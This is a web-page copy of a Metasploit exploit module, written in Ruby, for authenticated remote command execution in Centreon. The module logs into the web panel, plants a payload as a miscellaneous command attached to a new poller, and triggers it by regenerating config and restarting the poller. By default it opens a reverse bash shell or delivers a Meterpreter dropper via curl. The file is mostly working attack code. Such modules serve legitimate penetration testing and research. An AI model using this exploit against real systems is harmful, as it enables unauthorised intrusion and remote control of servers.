Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/http/centreon_pollers_auth_rce.rb
32436 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::CmdStager
10
include Msf::Exploit::Remote::HttpClient
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Centreon Poller Authenticated Remote Command Execution',
17
'Description' => %q{
18
An authenticated user with sufficient administrative rights to manage pollers can use this functionality to
19
execute arbitrary commands remotely. Usually, the miscellaneous commands are used by the additional modules
20
(to perform certain actions), by the scheduler for data processing, etc.
21
22
This module uses this functionality to obtain a remote shell on the target.
23
},
24
'Author' => [
25
'Omri Baso', # discovery
26
'Fabien Aunay', # discovery
27
'mekhalleh (RAMELLA Sébastien)' # this module
28
],
29
'References' => [
30
['EDB', '47977']
31
],
32
'DisclosureDate' => '2020-01-27',
33
'License' => MSF_LICENSE,
34
'Privileged' => true,
35
'Targets' => [
36
[
37
'Reverse shell (In-Memory)',
38
{
39
'Platform' => 'unix',
40
'Type' => :cmd_unix,
41
'Arch' => ARCH_CMD,
42
'DefaultOptions' => {
43
'PAYLOAD' => 'cmd/unix/reverse_bash'
44
}
45
}
46
],
47
[
48
'Meterpreter (Dropper)',
49
{
50
'Platform' => 'linux',
51
'Type' => :meterpreter,
52
'Arch' => ARCH_X64,
53
'DefaultOptions' => {
54
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
55
'CMDSTAGER::FLAVOR' => :curl
56
}
57
}
58
]
59
],
60
'DefaultTarget' => 0,
61
'Notes' => {
62
'Stability' => [CRASH_SAFE],
63
'Reliability' => [REPEATABLE_SESSION],
64
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
65
}
66
)
67
)
68
69
register_options([
70
OptString.new('PASSWORD', [true, 'The Centreon Web panel password to authenticate with']),
71
OptString.new('TARGETURI', [true, 'The URI of the Centreon Web panel path', '/centreon']),
72
OptString.new('USERNAME', [true, 'The Centreon Web panel username to authenticate with'])
73
])
74
end
75
76
def create_new_poller(poller_name, command_id)
77
params = { 'p' => '60901' }
78
79
print_status('Create new poller entry on the target.')
80
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
81
return false unless token
82
83
response = send_request_cgi(
84
'method' => 'POST',
85
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
86
'cookie' => @cookies,
87
'partial' => true,
88
'vars_get' => params,
89
'vars_post' => {
90
'name' => poller_name,
91
'ns_ip_address' => '127.0.0.1',
92
'localhost[localhost]' => '1',
93
'is_default[is_default]' => '0',
94
'remote_id' => '',
95
'ssh_port' => '22',
96
'remote_server_centcore_ssh_proxy[remote_server_centcore_ssh_proxy]' => '1',
97
'engine_start_command' => 'service centengine start',
98
'engine_stop_command' => 'service centengine stop',
99
'engine_restart_command' => 'service centengine restart',
100
'engine_reload_command' => 'service centengine reload',
101
'nagios_bin' => '/usr/sbin/centengine',
102
'nagiostats_bin' => '/usr/sbin/centenginestats',
103
'nagios_perfdata' => '/var/log/centreon-engine/service-perfdata',
104
'broker_reload_command' => 'service cbd reload',
105
'centreonbroker_cfg_path' => '/etc/centreon-broker',
106
'centreonbroker_module_path' => '/usr/share/centreon/lib/centreon-broker',
107
'centreonbroker_logs_path' => '/var/log/centreon-broker',
108
'centreonconnector_path' => '',
109
'init_script_centreontrapd' => 'centreontrapd',
110
'snmp_trapd_path_conf' => '/etc/snmp/centreon_traps/',
111
'pollercmd[0]' => command_id,
112
'clone_order_pollercmd_0' => '',
113
'ns_activate[ns_activate]' => '1',
114
'submitA' => 'Save',
115
'id' => '',
116
'o' => 'a',
117
'centreon_token' => token
118
}
119
)
120
return false unless response
121
122
return true
123
end
124
125
def execute_command(command, _opts = {})
126
cmd_name = rand_text_alpha(8..42)
127
params = { 'p' => '60803', 'type' => '3' }
128
poller_name = rand_text_alpha(8..42)
129
130
## Register a miscellaneous command.
131
print_status('Upload command payload on the target.')
132
133
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), params)
134
unless token
135
print_bad('Could not get the upload form token, potentially due to insufficient access rights.')
136
return false
137
end
138
139
response = send_request_cgi(
140
'method' => 'POST',
141
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
142
'cookie' => @cookies,
143
'partial' => true,
144
'vars_get' => params,
145
'vars_post' => {
146
'command_name' => cmd_name,
147
'command_type[command_type]' => '3',
148
'command_line' => command,
149
'resource' => '$CENTREONPLUGINS$',
150
'plugins' => '/Centreon/SNMP',
151
'macros' => '$ADMINEMAIL$',
152
'command_example' => '',
153
'listOfArg' => '',
154
'listOfMacros' => '',
155
'connectors' => '',
156
'graph_id' => '',
157
'command_activate[command_activate]' => '1',
158
'command_comment' => '',
159
'submitA' => 'Save',
160
'command_id' => '',
161
'type' => '3',
162
'o' => 'a',
163
'centreon_token' => token
164
}
165
)
166
return false unless response
167
168
## Create new poller to serve the payload.
169
create_new_poller(poller_name, get_command_id(cmd_name))
170
171
## Export configuration to reload to trigger the exploit.
172
poller_id = get_poller_id(poller_name)
173
if poller_id.nil?
174
print_bad('Could not trigger the vulnerability!')
175
end
176
restart_exportation(poller_id)
177
end
178
179
def get_auth
180
print_status('Sending authentication request.')
181
token = get_token(normalize_uri(target_uri.path, 'index.php'))
182
unless token.nil?
183
response = send_request_cgi(
184
'method' => 'POST',
185
'uri' => normalize_uri(target_uri.path, 'index.php'),
186
'cookie' => @cookies,
187
'vars_post' => {
188
'useralias' => datastore['USERNAME'],
189
'password' => datastore['PASSWORD'],
190
'submitLogin' => 'Connect',
191
'centreon_token' => token
192
}
193
)
194
return false unless response
195
196
if response.redirect? && response.headers['location'].include?('main.php')
197
print_good('Successfully authenticated.')
198
@cookies = response.get_cookies
199
return true
200
end
201
end
202
203
print_bad('Your credentials are incorrect.')
204
return false
205
end
206
207
def get_command_id(cmd_name)
208
response = send_request_cgi(
209
'method' => 'GET',
210
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
211
'cookie' => @cookies,
212
'vars_get' => {
213
'p' => '60803',
214
'type' => '3'
215
}
216
)
217
return nil unless response
218
219
href = response.get_html_document.at("//a[contains(text(), \"#{cmd_name}\")]")['href']
220
return nil unless href
221
222
id = href.split('?')[1].split('&')[2].split('=')[1]
223
return id unless id.empty?
224
225
return nil
226
end
227
228
def get_poller_id(poller_name)
229
response = send_request_cgi(
230
'method' => 'GET',
231
'uri' => normalize_uri(target_uri.path, 'main.get.php'),
232
'cookie' => @cookies,
233
'vars_get' => { 'p' => '60901' }
234
)
235
return nil unless response
236
237
href = response.get_html_document.at("//a[contains(text(), \"#{poller_name}\")]")['href']
238
return nil unless href
239
240
id = href.split('?')[1].split('&')[2].split('=')[1]
241
return id unless id.empty?
242
243
return nil
244
end
245
246
def get_session
247
response = send_request_cgi(
248
'method' => 'HEAD',
249
'uri' => normalize_uri(target_uri.path, 'index.php')
250
)
251
cookies = response.get_cookies
252
return cookies unless cookies.empty?
253
end
254
255
def get_token(uri, params = {})
256
## Get centreon_token value.
257
request = {
258
'method' => 'GET',
259
'uri' => uri,
260
'cookie' => @cookies
261
}
262
request = request.merge({ 'vars_get' => params }) unless params.empty?
263
response = send_request_cgi(request)
264
265
return nil unless response
266
267
begin
268
token = response.get_html_document.at('input[@name="centreon_token"]')['value']
269
rescue NoMethodError
270
return nil
271
end
272
273
return token
274
end
275
276
def restart_exportation(poller_id)
277
print_status('Reload the poller to trigger exploitation.')
278
token = get_token(normalize_uri(target_uri.path, 'main.get.php'), { 'p' => '60902', 'poller' => poller_id })
279
280
unless token
281
print_bad('Could not get the poller form token, potentially due to insufficient access rights.')
282
return false
283
end
284
285
vprint_status(' -- Generating files.')
286
response = send_request_cgi(
287
'method' => 'POST',
288
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'generateFiles.php'),
289
'cookie' => @cookies,
290
'vars_post' => {
291
'poller' => poller_id,
292
'debug' => 'true',
293
'generate' => 'true'
294
}
295
)
296
return false unless response
297
298
vprint_status(' -- Restarting engine.')
299
response = send_request_cgi(
300
'method' => 'POST',
301
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'restartPollers.php'),
302
'cookie' => @cookies,
303
'vars_post' => {
304
'poller' => poller_id,
305
'mode' => '2'
306
}
307
)
308
return false unless response
309
310
vprint_status(' -- Executing command.')
311
response = send_request_cgi(
312
'method' => 'POST',
313
'uri' => normalize_uri(target_uri.path, 'include', 'configuration', 'configGenerate', 'xml', 'postcommand.php'),
314
'cookie' => @cookies,
315
'vars_post' => { 'poller' => poller_id }
316
)
317
return false unless response
318
319
return true
320
end
321
322
def exploit
323
@cookies = get_session
324
logged = get_auth unless @cookies.empty?
325
if logged
326
case target['Type']
327
when :cmd_unix
328
execute_command(payload.encoded)
329
when :meterpreter
330
execute_command(generate_cmdstager.join(';'))
331
end
332
end
333
end
334
335
end
336
337